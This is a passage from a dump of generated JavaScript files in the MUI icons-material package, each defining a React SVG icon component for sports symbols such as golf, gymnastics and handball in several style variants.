    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.26 5c-.35 0-.8.01-1.33.06l4.03 4.03c.14-1.63.01-3.07-.17-3.86-.51-.11-1.39-.23-2.53-.23M5.21 18.77c.51.11 1.39.23 2.53.23.34 0 .79-.01 1.3-.05l-4.01-4.01c-.12 1.62 0 3.04.18 3.83m2.66-10.9c-1.28 1.28-2.03 2.97-2.45 4.65l6.04 6.04c1.6-.39 3.33-1.11 4.66-2.44 1.28-1.28 2.03-2.95 2.44-4.63l-6.05-6.05c-1.59.39-3.31 1.11-4.64 2.43M15.5 9.9l-5.6 5.6-1.4-1.4 5.6-5.6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.31 3.69c-.32-.33-1.94-.69-4.05-.69-3.03 0-7.09.75-9.8 3.46-4.59 4.59-3.56 13.06-2.77 13.85.32.33 1.94.69 4.05.69 3.03 0 7.09-.75 9.8-3.46 4.59-4.59 3.56-13.06 2.77-13.85M7.74 19c-1.14 0-2.02-.12-2.53-.23-.18-.79-.3-2.21-.17-3.83l4.01 4.01c-.52.04-.97.05-1.31.05m8.39-2.87c-1.33 1.33-3.06 2.05-4.66 2.44l-6.04-6.04c.42-1.68 1.16-3.37 2.45-4.65 1.32-1.32 3.05-2.04 4.64-2.43l6.05 6.05c-.42 1.67-1.17 3.35-2.44 4.63m2.83-7.04-4.03-4.03c.52-.05.98-.06 1.33-.06 1.14 0 2.02.12 2.53.23.18.79.3 2.22.17 3.86\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.4999 14.1002 14.1 8.4999l1.4001 1.4L9.9 15.5003z\"\n}, \"2\")], 'SportsFootballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolf.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h2c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h2v-2H7z\"\n}, \"4\")], 'SportsGolf');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolf.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h2c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h2v-2H7z\"\n}, \"4\")], 'SportsGolf');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolfOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h2c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h2v-2H7z\"\n}, \"4\")], 'SportsGolfOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolfOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h2c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h2v-2H7z\"\n}, \"4\")], 'SportsGolfOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolfRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 17H8c-.55 0-1 .45-1 1s.45 1 1 1h1c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h1c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"4\")], 'SportsGolfRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolfRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 17H8c-.55 0-1 .45-1 1s.45 1 1 1h1c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h1c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"4\")], 'SportsGolfRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolfSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h2c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h2v-2H7z\"\n}, \"4\")], 'SportsGolfSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolfSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h2c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h2v-2H7z\"\n}, \"4\")], 'SportsGolfSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolfTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m2-7c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2 2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h2c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h2v-2H7z\"\n}, \"5\")], 'SportsGolfTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGolfTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m2-7c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2 2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c3.87 0 7-3.13 7-7s-3.13-7-7-7-7 3.13-7 7 3.13 7 7 7m0-12c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"8\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h2c1.1 0 2 .9 2 2v1h2v-1c0-1.1.9-2 2-2h2v-2H7z\"\n}, \"5\")], 'SportsGolfTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnastics.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M1 9h6l7-5 1.31 1.52-4.17 2.98H14L21.8 4 23 5.4 14.5 12 14 22h-2l-.5-10L8 11H1z\"\n}), 'SportsGymnastics');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnastics.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M1 9h6l7-5 1.31 1.52-4.17 2.98H14L21.8 4 23 5.4 14.5 12 14 22h-2l-.5-10L8 11H1z\"\n}), 'SportsGymnastics');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnasticsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M1 9h6l7-5 1.31 1.52-4.17 2.98H14L21.8 4 23 5.4 14.5 12 14 22h-2l-.5-10L8 11H1z\"\n}), 'SportsGymnasticsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnasticsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M1 9h6l7-5 1.31 1.52-4.17 2.98H14L21.8 4 23 5.4 14.5 12 14 22h-2l-.5-10L8 11H1z\"\n}), 'SportsGymnasticsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnasticsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m9 16c-.56 0-1.02-.44-1.05-1l-.45-9L8 11H2c-.55 0-1-.45-1-1s.45-1 1-1h5l6.26-4.47c.42-.3 1-.23 1.34.16.38.45.3 1.12-.18 1.46L11.14 8.5H14l7.09-4.09c.41-.24.93-.15 1.24.21.36.43.3 1.07-.14 1.41L14.5 12l-.45 9c-.03.56-.49 1-1.05 1\"\n}), 'SportsGymnasticsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnasticsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m9 16c-.56 0-1.02-.44-1.05-1l-.45-9L8 11H2c-.55 0-1-.45-1-1s.45-1 1-1h5l6.26-4.47c.42-.3 1-.23 1.34.16.38.45.3 1.12-.18 1.46L11.14 8.5H14l7.09-4.09c.41-.24.93-.15 1.24.21.36.43.3 1.07-.14 1.41L14.5 12l-.45 9c-.03.56-.49 1-1.05 1\"\n}), 'SportsGymnasticsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnasticsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M1 9h6l7-5 1.31 1.52-4.17 2.98H14L21.8 4 23 5.4 14.5 12 14 22h-2l-.5-10L8 11H1z\"\n}), 'SportsGymnasticsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnasticsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M1 9h6l7-5 1.31 1.52-4.17 2.98H14L21.8 4 23 5.4 14.5 12 14 22h-2l-.5-10L8 11H1z\"\n}), 'SportsGymnasticsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnasticsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M1 9h6l7-5 1.31 1.52-4.17 2.98H14L21.8 4 23 5.4 14.5 12 14 22h-2l-.5-10L8 11H1z\"\n}), 'SportsGymnasticsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsGymnasticsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M1 9h6l7-5 1.31 1.52-4.17 2.98H14L21.8 4 23 5.4 14.5 12 14 22h-2l-.5-10L8 11H1z\"\n}), 'SportsGymnasticsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandball.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.38-1.38-3.2-4.44-1.82-6.82l-1.73-1C8.1 3.83 8.6 7.21 10.66 9.4l-5.15 8.92 1.73 1 1.5-2.6 1.73 1-3 5.2 1.73 1 6.29-10.89c1.14 1.55 1.33 3.69.31 5.46l1.73 1c1.6-2.75 1.28-6.58-1.69-9.08\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"2\")], 'SportsHandball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandball.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.38-1.38-3.2-4.44-1.82-6.82l-1.73-1C8.1 3.83 8.6 7.21 10.66 9.4l-5.15 8.92 1.73 1 1.5-2.6 1.73 1-3 5.2 1.73 1 6.29-10.89c1.14 1.55 1.33 3.69.31 5.46l1.73 1c1.6-2.75 1.28-6.58-1.69-9.08\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"2\")], 'SportsHandball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandballOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.38-1.38-3.2-4.44-1.82-6.82l-1.73-1C8.1 3.83 8.6 7.21 10.66 9.4l-5.15 8.92 1.73 1 1.5-2.6 1.73 1-3 5.2 1.73 1 6.29-10.89c1.14 1.55 1.33 3.69.31 5.46l1.73 1c1.6-2.75 1.28-6.58-1.69-9.08\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"2\")], 'SportsHandballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandballOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.38-1.38-3.2-4.44-1.82-6.82l-1.73-1C8.1 3.83 8.6 7.21 10.66 9.4l-5.15 8.92 1.73 1 1.5-2.6 1.73 1-3 5.2 1.73 1 6.29-10.89c1.14 1.55 1.33 3.69.31 5.46l1.73 1c1.6-2.75 1.28-6.58-1.69-9.08\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"2\")], 'SportsHandballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandballRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.13-1.24-3.01-3.83-2.18-6.07.17-.46-.01-.97-.43-1.21-.53-.3-1.22-.07-1.43.5-.95 2.51-.35 5.35 1.46 7.27l-4.65 8.05c-.28.48-.11 1.09.37 